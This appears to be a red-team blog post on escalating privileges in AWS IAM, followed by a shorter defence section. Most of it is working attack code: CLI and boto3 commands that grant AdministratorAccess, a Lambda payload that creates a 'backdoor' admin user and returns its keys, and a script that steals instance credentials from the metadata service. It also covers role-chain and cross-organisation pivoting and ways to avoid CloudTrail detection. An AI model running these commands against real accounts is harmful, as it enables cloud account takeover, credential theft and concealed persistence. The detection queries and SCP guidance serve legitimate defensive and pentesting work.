TL;DR — AWS IAM misconfiguration is the single most exploited attack surface in cloud penetration testing. Over-privileged roles, wildcard resource ARNs, and absent condition keys create privilege escalation paths that allow attackers to move from a low-privilege foothold to full AdministratorAccess in minutes. This post covers IAM exploitation techniques, tooling (Pacu, PMapper), credential exfiltration via IMDS, and cross-account pivoting — with AWS CLI and Python boto3 examples throughout.Executive Summary
AWS Identity and Access Management (IAM) is the cornerstone of cloud security, but it is routinely misconfigured in production environments. Red team engagements consistently surface the same classes of vulnerability: service roles carrying AdministratorAccess, S3 bucket policies with "Principal": "*", Lambda execution roles that can invoke arbitrary IAM modifications, and EC2 instance profiles that expose credentials through the metadata service.
This post approaches IAM exploitation from the perspective of an offensive security practitioner who has obtained initial access — whether through a leaked access key, SSRF to the EC2 metadata service, or a compromised CI/CD pipeline credential. The goal is to enumerate existing permissions, identify escalation paths, escalate to administrative access, move between accounts within an AWS Organization, and do all of this while minimizing CloudTrail noise.
Understanding these techniques is essential for defenders building detection rules, for architects designing least-privilege environments, and for pentesters who need to demonstrate real-world impact during engagements.
IAM Fundamentals: The Identity Model
AWS IAM revolves around four primary identity concepts:
- Users — Long-term credentials (access key ID + secret) associated with a human or programmatic identity.
- Roles — Temporary credential sources assumed by AWS services, users, or federated identities. Roles carry a trust policy (who can assume them) and one or more permission policies (what the role can do).
- Policies — JSON documents defining
AlloworDenypermissions. Can be AWS-managed, customer-managed, or inline. - Trust Policies — A special resource-based policy attached to a role that defines who is allowed to call
sts:AssumeRole.
Policy Evaluation Logic
AWS evaluates authorization in a specific order: explicit Deny wins, then Allow, then implicit Deny. Service Control Policies (SCPs) from AWS Organizations layer on top of this and can constrain even administrator-level actions.
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "iam:*", "Resource": "*" } ]}The above policy — a wildcard on iam:* with Resource: "*" — is a privilege escalation waiting to happen. Any principal holding it can create new admin users, attach policies, modify trust relationships, and more.
Common Over-Privilege Patterns
AdministratorAccess on Service Roles
The most frequent finding in AWS assessments is arn:aws:iam::aws:policy/AdministratorAccess attached to Lambda execution roles, EC2 instance profiles, or ECS task roles. Development teams often attach this to "get things working" and never remove it.
# Enumerate all roles and check for AdministratorAccess attachmentaws iam list-roles --query 'Roles[*].RoleName' --output text | tr '\t' '\n' | while read role; do policies=$(aws iam list-attached-role-policies --role-name "$role" \ --query 'AttachedPolicies[*].PolicyArn' --output text 2>/dev/null) if echo "$policies" | grep -q "AdministratorAccess"; then echo "[!] ADMIN ROLE FOUND: $role" fidoneWildcard Resource ARNs
Policies granting actions on Resource: "*" instead of specific ARNs are widespread. For sensitive IAM actions, this means the permission applies to every resource in the account.
{ "Effect": "Allow", "Action": [ "iam:AttachRolePolicy", "iam:PutRolePolicy", "iam:CreatePolicyVersion" ], "Resource": "*"}Missing Condition Keys
Conditions can constrain who a role can be passed to, require MFA, limit source IP, or enforce HTTPS. Their absence creates exploitable gaps.
{ "Effect": "Allow", "Action": "iam:PassRole", "Resource": "*"}Without a condition like "StringEquals": {"iam:PassedToService": "ec2.amazonaws.com"}, this policy allows passing any role to any service — a critical escalation primitive.
IAM Privilege Escalation Techniques
Technique 1: AttachRolePolicy
If you hold iam:AttachRolePolicy on Resource: "*", you can attach AdministratorAccess to any role, including the one your current credentials are associated with.
# Attach AdministratorAccess to your current roleaws iam attach-role-policy \ --role-name YourCurrentRole \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccessimport boto3 iam = boto3.client('iam') # Get current role name from STSsts = boto3.client('sts')identity = sts.get_caller_identity()# Parse role name from ARN: arn:aws:sts::123456789012:assumed-role/RoleName/sessionrole_arn = identity['Arn']role_name = role_arn.split('/')[1] iam.attach_role_policy( RoleName=role_name, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')print(f"[+] AdministratorAccess attached to {role_name}")Technique 2: PutRolePolicy (Inline Policy Injection)
iam:PutRolePolicy allows creating or overwriting an inline policy on any role. This is often missed in assessments because it does not show up in list-attached-role-policies.
aws iam put-role-policy \ --role-name TargetRole \ --policy-name InlineEscalation \ --policy-document '{ "Version": "2012-10-17", "Statement": [{"Effect":"Allow","Action":"*","Resource":"*"}] }'Technique 3: CreatePolicyVersion / SetDefaultPolicyVersion
If you hold iam:CreatePolicyVersion and the target policy has fewer than 5 versions, you can create a new version with broader permissions and set it as the default.
# Create a new version of an existing policy with admin permissionsPOLICY_ARN="arn:aws:iam::123456789012:policy/TargetPolicy" aws iam create-policy-version \ --policy-arn "$POLICY_ARN" \ --policy-document '{ "Version":"2012-10-17", "Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}] }' \ --set-as-defaultIf the policy already has 5 versions, delete the oldest non-default version first:
# List versions and delete the oldestaws iam list-policy-versions --policy-arn "$POLICY_ARN"aws iam delete-policy-version --policy-arn "$POLICY_ARN" --version-id v1Technique 4: PassRole + EC2/Lambda Deployment
iam:PassRole combined with ec2:RunInstances (or lambda:CreateFunction) is a classic escalation path. You pass a high-privilege role to a new resource you control.
# Create a Lambda function with a high-privilege execution roleaws lambda create-function \ --function-name PrivescFunction \ --runtime python3.11 \ --role arn:aws:iam::123456789012:role/AdminRole \ --handler index.handler \ --zip-file fileb://payload.zip # Invoke the function to run code as the AdminRoleaws lambda invoke \ --function-name PrivescFunction \ --payload '{"action": "whoami"}' \ output.jsonThe Lambda payload can enumerate IAM, create new admin users, or exfiltrate credentials.
# Lambda function code (payload.zip/index.py)import boto3import json def handler(event, context): iam = boto3.client('iam') # Create backdoor admin user iam.create_user(UserName='backdoor') iam.attach_user_policy( UserName='backdoor', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) key = iam.create_access_key(UserName='backdoor') return { 'AccessKeyId': key['AccessKey']['AccessKeyId'], 'SecretAccessKey': key['AccessKey']['SecretAccessKey'] }Technique 5: iam:CreateLoginProfile
If you hold iam:CreateLoginProfile, you can set a console password for an IAM user that does not currently have one — including users with AdministratorAccess that were intended as programmatic-only.
aws iam create-login-profile \ --user-name admin-service-account \ --password 'Th1s!sMyP@ss' \ --no-password-reset-requiredTechnique 6: sts:AssumeRole Chain Pivoting
With existing credentials and sts:AssumeRole permissions on other roles, you can pivot through a chain of roles to reach higher privileges.
# Step 1: Assume intermediate roleCREDS=$(aws sts assume-role \ --role-arn arn:aws:iam::123456789012:role/IntermediateRole \ --role-session-name pivot1) export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken') # Step 2: From IntermediateRole, assume target admin roleaws sts assume-role \ --role-arn arn:aws:iam::123456789012:role/AdminRole \ --role-session-name pivot2Attack Flow: IAM Privilege Escalation
flowchart TD
A[Initial Access\nLow-Privilege Key] --> B{Enumerate IAM\nPermissions}
B --> C[iam:AttachRolePolicy?]
B --> D[iam:PutRolePolicy?]
B --> E[iam:CreatePolicyVersion?]
B --> F[iam:PassRole + ec2/lambda?]
B --> G[sts:AssumeRole on admin?]
C --> H[Attach AdministratorAccess\nto current role]
D --> I[Inject inline admin policy]
E --> J[Create new policy version\nwith * permissions]
F --> K[Deploy Lambda/EC2\nwith admin role]
G --> L[Direct role assumption]
H --> M[Full Admin Access]
I --> M
J --> M
K --> M
L --> M
M --> N[Create backdoor user\nor exfiltrate credentials]Tooling: Pacu
Pacu is the AWS exploitation framework developed by Rhino Security Labs. It operates on a module-based architecture similar to Metasploit.
# Install Pacugit clone https://github.com/RhinoSecurityLabs/pacu.gitcd pacu && pip3 install -r requirements.txtpython3 pacu.py # Within Pacu, import compromised credentialsPacu> import_keys --access-key-id AKIA... --secret-key ... # Enumerate IAM permissions (what can current identity do?)Pacu> run iam__enum_permissions # Enumerate users, roles, and groups in the accountPacu> run iam__enum_users_roles_policies_groups # Automated privilege escalation — tests all known methodsPacu> run iam__privesc_scan # Brute-force undiscovered permissions via error analysisPacu> run iam__bruteforce_permissionsKey Pacu modules for IAM work:
| Module | Purpose |
|---|---|
iam__enum_permissions | Simulates all IAM calls to map permissions |
iam__privesc_scan | Identifies and exploits escalation paths |
iam__enum_users_roles_policies_groups | Full account IAM inventory |
iam__bruteforce_permissions | Discovers permissions via 403/AuthFailure analysis |
ec2__enum | Enumerates instances, security groups, key pairs |
cloudtrail__enum | Identifies CloudTrail configuration gaps |
Tooling: PMapper
PMapper by NCC Group builds a directed graph of IAM relationships and uses graph traversal to find all privilege escalation paths.
pip3 install principalmapper # Build the graph for an AWS accountpmapper --profile compromised-profile graph create # Show all principals that can reach adminpmapper --profile compromised-profile analysis --output-type text # Query: can this specific principal reach admin?pmapper --profile compromised-profile query \ "preset privesc --principal arn:aws:iam::123456789012:user/lowpriv-user" # Visualize the graph as a PNGpmapper --profile compromised-profile visualize --file /tmp/iam-graph.pngPMapper identifies escalation paths that manual enumeration misses — for example, a Lambda function's execution role can sts:AssumeRole into a role whose trust policy allows lambda.amazonaws.com, which then has iam:AttachRolePolicy. The path is: User → InvokeFunction → LambdaRole → AssumeRole → TargetRole → AdminAccess.
EC2 IMDS Credential Exfiltration
IMDSv1 (Unauthenticated)
EC2 Instance Metadata Service v1 requires no authentication. Any process on the instance (or any attacker exploiting SSRF) can retrieve the attached role's temporary credentials.
# List available IAM role credentialscurl http://169.254.169.254/latest/meta-data/iam/security-credentials/ # Get credentials for a specific rolecurl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyInstanceRoleResponse:
{ "Code": "Success", "LastUpdated": "2024-01-15T10:30:00Z", "Type": "AWS-HMAC", "AccessKeyId": "ASIA...", "SecretAccessKey": "wJal...", "Token": "IQoJb3JpZ2luX2...", "Expiration": "2024-01-15T16:30:00Z"}IMDSv2 Token-Based SSRF Bypass
IMDSv2 requires a token obtained via a PUT request with a TTL header. Many SSRF exploitation tools and some HTTP libraries transparently follow redirects or can be coerced into making PUT requests.
# Step 1: Get IMDSv2 session token (requires PUT with TTL header)TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") # Step 2: Use token to retrieve credentialscurl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/MyRoleFor SSRF exploitation of IMDSv2, the attacker needs to control both the PUT request (for the token) and the subsequent GET. Frameworks like Gopher protocol SSRF or request-splitting can achieve this in certain contexts.
import requests # Direct exploitation from compromised instancedef steal_imds_creds_v2(): # Get token token_resp = requests.put( 'http://169.254.169.254/latest/api/token', headers={'X-aws-ec2-metadata-token-ttl-seconds': '21600'} ) token = token_resp.text # Get role name role_resp = requests.get( 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', headers={'X-aws-ec2-metadata-token': token} ) role_name = role_resp.text.strip() # Get credentials creds_resp = requests.get( f'http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}', headers={'X-aws-ec2-metadata-token': token} ) return creds_resp.json() creds = steal_imds_creds_v2()print(f"AccessKeyId: {creds['AccessKeyId']}")print(f"SecretAccessKey: {creds['SecretAccessKey']}")print(f"Token: {creds['Token'][:50]}...")AWS Organizations: OrganizationAccountAccessRole Abuse
When a new account is created in an AWS Organization via the management account, AWS automatically creates a role called OrganizationAccountAccessRole in the member account. The trust policy allows only the management account to assume it, but it carries AdministratorAccess in the member account.
# From management account credentials, assume admin in any member accountACCOUNT_ID="987654321098" # Target member account aws sts assume-role \ --role-arn "arn:aws:iam::${ACCOUNT_ID}:role/OrganizationAccountAccessRole" \ --role-session-name org-pivotThis creates a powerful lateral movement path: compromise any principal in the management account → assume OrganizationAccountAccessRole in every member account → full administrative access across the entire organization.
Cross-Account Role Pivoting
sequenceDiagram
participant A as Attacker
participant Acc1 as Account A (Compromised)
participant Acc2 as Account B (Target)
participant Org as Mgmt Account
A->>Acc1: Use stolen access key
A->>Acc1: sts:GetCallerIdentity (confirm access)
A->>Acc1: iam:ListRoles (find cross-account roles)
Acc1->>Acc2: sts:AssumeRole (cross-account role)
Note over Acc1,Acc2: Trust policy allows Account A
A->>Acc2: Enumerate with Account B role
Acc2->>Org: sts:AssumeRole (OrganizationAccountAccessRole)
A->>Org: Full Organization Admin# Enumerate cross-account roles (roles whose trust policies reference external accounts)aws iam list-roles --query \ 'Roles[?contains(AssumeRolePolicyDocument.Statement[*].Principal.AWS, `arn:aws:iam::`) == `true`].[RoleName,Arn]' \ --output table # Check a role's trust policy for external principalsaws iam get-role --role-name CrossAccountRole \ --query 'Role.AssumeRolePolicyDocument'Minimizing CloudTrail Footprint
Every AWS API call is logged in CloudTrail (with some exceptions). Noisy actions to avoid during engagements:
iam:SimulatePrincipalPolicy— explicitly logged as a simulationiam:GetAccountAuthorizationDetails— retrieves all policies at once but is very visible- Multiple rapid
iam:GetPolicycalls in sequence
Low-Noise Enumeration Strategy
# Prefer error-based permission enumeration over explicit policy reads# A 403 AccessDenied still appears in CloudTrail, but is less suspicious# than bulk policy enumeration # Check specific permissions via aws iam simulate-principal-policy (logged but lower risk)aws iam simulate-principal-policy \ --policy-source-arn arn:aws:iam::123456789012:role/MyRole \ --action-names iam:AttachRolePolicy iam:CreateUser \ --resource-arns '*' # Use STS GetCallerIdentity first — it's a low-privilege, frequently called APIaws sts get-caller-identityimport boto3from botocore.exceptions import ClientError def enumerate_permissions_quietly(actions_to_test): """ Test permissions by attempting actions rather than reading policies. Less suspicious than bulk IAM reads. """ results = {} for service, action, test_call in actions_to_test: try: test_call() results[f"{service}:{action}"] = True except ClientError as e: code = e.response['Error']['Code'] if code in ('AccessDenied', 'UnauthorizedAccess'): results[f"{service}:{action}"] = False else: # Action worked but returned different error (resource not found, etc.) results[f"{service}:{action}"] = True return results # Example usageiam = boto3.client('iam')s3 = boto3.client('s3') tests = [ ('iam', 'ListRoles', lambda: iam.list_roles(MaxItems=1)), ('s3', 'ListBuckets', lambda: s3.list_buckets()),] perms = enumerate_permissions_quietly(tests)IAM Permission Escalation Path Comparison
| Technique | Required Permission | Target | Noise Level | Success Rate |
|---|---|---|---|---|
| AttachRolePolicy | iam:AttachRolePolicy | Any role | Medium | High |
| PutRolePolicy | iam:PutRolePolicy | Any role | Low | High |
| CreatePolicyVersion | iam:CreatePolicyVersion | Managed policy | Low | Medium |
| PassRole + Lambda | iam:PassRole, lambda:* | Lambda exec role | Medium | High |
| PassRole + EC2 | iam:PassRole, ec2:RunInstances | Instance profile | High | High |
| CreateLoginProfile | iam:CreateLoginProfile | IAM user | Low | Medium |
| AssumeRole direct | sts:AssumeRole | Specific role | Very Low | Situational |
| UpdateAssumeRolePolicy | iam:UpdateAssumeRolePolicy | Role trust policy | Low | High |
Detection and Mitigation
IAM Access Analyzer
AWS IAM Access Analyzer continuously evaluates resource-based policies to identify access from outside the account or organization.
# Enable Access Analyzeraws accessanalyzer create-analyzer \ --analyzer-name org-analyzer \ --type ORGANIZATION # List findingsaws accessanalyzer list-findings --analyzer-name org-analyzerService Control Policies (SCPs)
SCPs are the strongest control available. They constrain what actions can be performed in an account, even by administrator-level principals.
{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyIAMPrivescActions", "Effect": "Deny", "Action": [ "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion", "iam:AttachRolePolicy", "iam:PutRolePolicy", "iam:UpdateAssumeRolePolicy" ], "Resource": "*", "Condition": { "ArnNotLike": { "aws:PrincipalARN": "arn:aws:iam::*:role/SecurityAdmin" } } } ]}Permission Boundaries
Attach permission boundaries to all non-administrative roles to cap maximum permissions:
aws iam create-policy \ --policy-name MaxPermissionBoundary \ --policy-document file://boundary.json aws iam put-role-permissions-boundary \ --role-name DeveloperRole \ --permissions-boundary arn:aws:iam::123456789012:policy/MaxPermissionBoundaryCloudTrail + Athena for Anomaly Detection
-- Athena query: Find IAM privilege escalation actions in the last 7 daysSELECT eventtime, useridentity.arn, eventname, requestparameters, sourceipaddressFROM cloudtrail_logsWHERE eventtime > date_add('day', -7, now()) AND eventsource = 'iam.amazonaws.com' AND eventname IN ( 'AttachRolePolicy', 'PutRolePolicy', 'CreatePolicyVersion', 'SetDefaultPolicyVersion', 'UpdateAssumeRolePolicy', 'CreateLoginProfile', 'CreateAccessKey' )ORDER BY eventtime DESC;IAM Access Advisor
Use Access Advisor to identify services that a role has access to but has never called — these permissions are candidates for removal.
aws iam generate-service-last-accessed-details \ --arn arn:aws:iam::123456789012:role/MyRole # Poll for completion and retrieve resultsJOB_ID=$(aws iam generate-service-last-accessed-details \ --arn arn:aws:iam::123456789012:role/MyRole \ --query 'JobId' --output text) aws iam get-service-last-accessed-details --job-id "$JOB_ID"Conclusion
AWS IAM exploitation is not primarily about finding zero-days — it is about finding the gap between the principle of least privilege and the reality of production deployments. Over-privileged roles are ubiquitous, trust policies are rarely reviewed, and the iam:PassRole permission is widely misunderstood.
The techniques covered here — AttachRolePolicy, PutRolePolicy, CreatePolicyVersion, PassRole abuse, IMDS credential theft, and cross-account pivoting via OrganizationAccountAccessRole — form the core IAM exploitation playbook. Tools like Pacu automate much of the enumeration and exploitation process, while PMapper provides the graph-based analysis needed to find non-obvious privilege paths.
For defenders, the mitigations are clear: enforce SCPs, apply permission boundaries, enable IAM Access Analyzer, require IMDSv2 on all instances, and treat the principle of least privilege as a hard requirement rather than a goal. Regular reviews using Access Advisor and Athena queries over CloudTrail data will surface the accumulation of excessive permissions before an adversary does.